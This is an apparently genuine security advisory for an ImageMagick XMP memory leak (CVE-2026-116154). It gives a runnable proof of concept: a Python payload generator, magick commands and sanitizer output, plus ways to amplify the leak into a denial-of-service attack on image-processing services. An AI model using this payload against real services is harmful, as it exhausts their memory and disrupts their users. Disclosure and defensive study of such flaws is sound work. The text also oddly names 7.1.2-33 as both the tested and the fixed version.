ImageMagick CVE-2026-116154 XML Depth-Limit Memory Leak

NOTE

Responsible disclosure. Agilehunt discovered this vulnerability during source-level security research on ImageMagick and reported it to the maintainers. It is tracked as CVE-2026-116154 (GHSA-8ghq-p369-g395) and is fixed in 7.1.2-33 and 6.9.13-58. Details are shared for defensive and educational purposes only.

Vulnerability Description

DestroyXMLTree_ (MagickCore/xml-tree.c) returns NULL once the recursion depth reaches MagickMaxRecursionDepth (600) — before it traverses or frees the current node. The depth counter is incremented by two for every child or ordered edge: DestroyXMLTreeChild and DestroyXMLTreeOrdered each receive depth+1 from DestroyXMLTree_ and then pass depth+1 again back into DestroyXMLTree_.

That doubling is the trick. For a tree in which every level T(k-1) has a first child A(k) followed by the next level T(k), node T(150) is reached at destruction depth 600 even though the XML element depth is only 151.

When the guard fires, DestroyXMLTree_ returns NULL without freeing T(150) or any of its descendants. The caller — GetXMPProperty — then overwrites its only root pointer with the destructor's NULL result, so the entire subtree becomes unreachable. No later code path can reclaim those allocations; the leaked memory persists for the lifetime of the process.

// xml-tree.c:533 — guard returns before freeing the current node
if (depth >= MagickMaxRecursionDepth)
  return((XMLTreeInfo *) NULL);   // T(150) and all descendants abandoned

Attack path (verified in source and at runtime)

Stage Location Behavior
1 coders/miff.c:1193-1216 ReadMIFFImage reads the attacker-declared profile length and bytes, passes the xmp StringInfo to SetImageProfilePrivate
2 MagickCore/profile.c:2026-2077 SetImageProfileInternal enforces nonzero / profile-size checks and stores the accepted XMP profile
3 MagickCore/constitute.c:866 ReadImage iterates decoded images and unconditionally requests GetImageProperty(next,"xmp:*",exception)
4 MagickCore/property.c:1887 GetXMPProperty copies the profile, scans to the first <x marker, and calls NewXMLTree there
5 MagickCore/xml-tree.c:1509-1582 ParseOpenTag uses AddChildToXMLTree for nested elements, building the alternating first-child / following-sibling topology
6 MagickCore/xml-tree.c:438-468 DestroyXMLTreeChild / DestroyXMLTreeOrdered each add two to the depth counter per edge
7 MagickCore/xml-tree.c:533 the depth guard returns before freeing T(150) or traversing its descendants — the subtree is leaked

Trigger conditions (all defaults unless noted): a build with MAGICKCORE_XML_DELEGATE (standard in default builds); an input coder that retains an XMP profile (MIFF, PNG, TIFF, etc.); a profile containing a <x marker; and a parser-visible region with 150 levels of alternating first-child/sibling nesting. No xmp:validate or other special configuration is required.

Risk Breakdown

Field Value
CVE CVE-2026-116154
Advisory GHSA-8ghq-p369-g395
Risk Medium
CWE CWE-401 (Missing Release of Memory after Effective Lifetime), CWE-400 (Uncontrolled Resource Consumption)
CVSS 3.1 5.3 — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Affected ImageMagick 7.x before 7.1.2-33 and 6.x before 6.9.13-58 (with MAGICKCORE_XML_DELEGATE)
Affected Component DestroyXMLTree_ — MagickCore/xml-tree.c:525-542, guard at line 533
Fixed In 7.1.2-33 and 6.9.13-58
Reported by Agilehunt (VikzSharma)

Steps to Reproduce

Reproduced on ImageMagick 7.1.2-33 (Beta) Q16 x86_64, git commit 7656865 (2026-09-27, current main at time of report). Ubuntu 24.04.1 LTS, gcc 13.3.0, built Q16 / non-HDRI / static with the XML delegate and AddressSanitizer + LeakSanitizer.

Step 1 — Generate the malicious XMP payload

150 levels of alternating first-child/sibling nesting, with the innermost element carrying attacker content:

levels = 150
content = 'LEAKED_SUBTREE_' + 'D' * 10000
xml = f'<l{levels}>{content}</l{levels}>'
for i in range(levels - 1, 0, -1):
    xml = f'<l{i}><a/>{xml}</l{i}>'
xml = f'<x><a/>{xml}</x>'
open('payload.xmp', 'w').write(xml)

The <x satisfies GetXMPProperty's marker scan (property.c:1887). Each <lN> element has an empty first child <a/> followed by the next-level element — the alternating topology that doubles the destruction depth per nesting level.

Step 2 — Embed in a MIFF image and read it

magick convert -size 1x1 xc:red -profile xmp:payload.xmp poc.miff
ASAN_OPTIONS=detect_leaks=1 magick identify poc.miff

Step 3 — LeakSanitizer output (deterministic, 3/3 runs)

==PID==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 96 byte(s) in 1 object(s) allocated from:
    #2 AddChildToXMLTree            MagickCore/xml-tree.c:243
    #3 ParseOpenTag                MagickCore/xml-tree.c:1578
    #4 NewXMLTree                  MagickCore/xml-tree.c:1813
    #5 GetXMPProperty              MagickCore/property.c:1887
    #7 ReadImage                   MagickCore/constitute.c:866

Indirect leak of 10016 byte(s) in 1 object(s) allocated from:
    #3 ConstantString             MagickCore/string.c:688
    #6 NewXMLTree                  MagickCore/xml-tree.c:1974
    #7 GetXMPProperty              MagickCore/property.c:1887

SUMMARY: AddressSanitizer: 10117 byte(s) leaked in 3 allocations.

Three leaked blocks: the 96-byte XMLTreeInfo struct (direct), the 10,016-byte content string (indirect), and the 5-byte tag string (indirect) — all from the subtree stranded at destruction depth 600.

The depth-600 boundary

The identical file with only 149 levels (destruction depth 596) produces no LeakSanitizer error (exit 0, zero leaked bytes), proving the depth-600 threshold is the necessary ingredient. Confirmed with valgrind on the release build:

Nesting levels Destruction depth Leaked
149 596 0 bytes
150 600 10,114 bytes
151 604 10,317 bytes
152 608 10,518 bytes

The attacker also controls the leak size through the innermost element's content:

Innermost content Total leaked
1,000 bytes 1,102 bytes
10,000 bytes 10,102 bytes
100,000 bytes 100,102 bytes

Impact

An attacker who can submit an image to any ImageMagick-based service (thumbnail generator, photo uploader, document converter, cloud image resizer) permanently consumes server memory. The leaked amount per parse is attacker-controlled — the innermost element's content size plus ~102 bytes of struct and tag overhead.

The leak fires once per image read via ReadImage's automatic xmp:* expansion, and it amplifies:

  • Multi-frame MIFF files — each frame triggers a separate XMP parse.
  • ASHLAR label processing — an absent xmp: property in an ASHLAR label can repeat parsing per tile, each tile leaking again.
  • Repeated uploads — every processing run leaks again.

With 10 MB of XMP content in a 100-frame image, roughly 1 GB is permanently leaked per file read. Memory is never reclaimed within the process lifetime (no garbage collection in C), and the XMP profile size limit defaults to SSIZE_MAX — effectively unlimited.

The leaked data is always attacker-supplied XML (SYSTEM entities are skipped by the parser), so there is no information disclosure. This is a pure availability attack.


Recommendation

  1. Don't abandon the subtree (root cause). Replace the recursive DestroyXMLTree_ with a worklist-based iterative traversal that cannot overflow the stack, eliminating the depth guard entirely.

  2. Minimal fix. If the depth guard must stay, at least free the current node's own allocations before returning NULL:

    if (depth >= MagickMaxRecursionDepth)
      {
        xml_info->attributes=DestroyXMLTreeAttributes(xml_info->attributes);
        xml_info->content=DestroyString(xml_info->content);
        xml_info->tag=DestroyString(xml_info->tag);
        xml_info=(XMLTreeInfo *) RelinquishMagickMemory(xml_info);
        return((XMLTreeInfo *) NULL);
      }
    

    Note this frees the node itself but still abandons descendants — the iterative approach is the correct fix.

  3. Upgrade. Move to ImageMagick 7.1.2-33 or 6.9.13-58, which contain the fix.

  4. Defense in depth for operators. Set <policy domain="profile" rights="none" pattern="xmp"/> in policy.xml to reject XMP profiles outright, and monitor worker RSS — a steady climb after image uploads indicates a leak.


References

TIMELINES

  • Sep 27, 2026 — Vulnerability discovered during source-level audit of xml-tree.c and confirmed with ASan and valgrind on ImageMagick 7.1.2-33 (commit 7656865)
  • Oct 10, 2026 — Security advisory GHSA-8ghq-p369-g395 published; fixed in 7.1.2-33 and 6.9.13-58
  • Oct 25, 2026 — CVE-2026-116154 assigned and published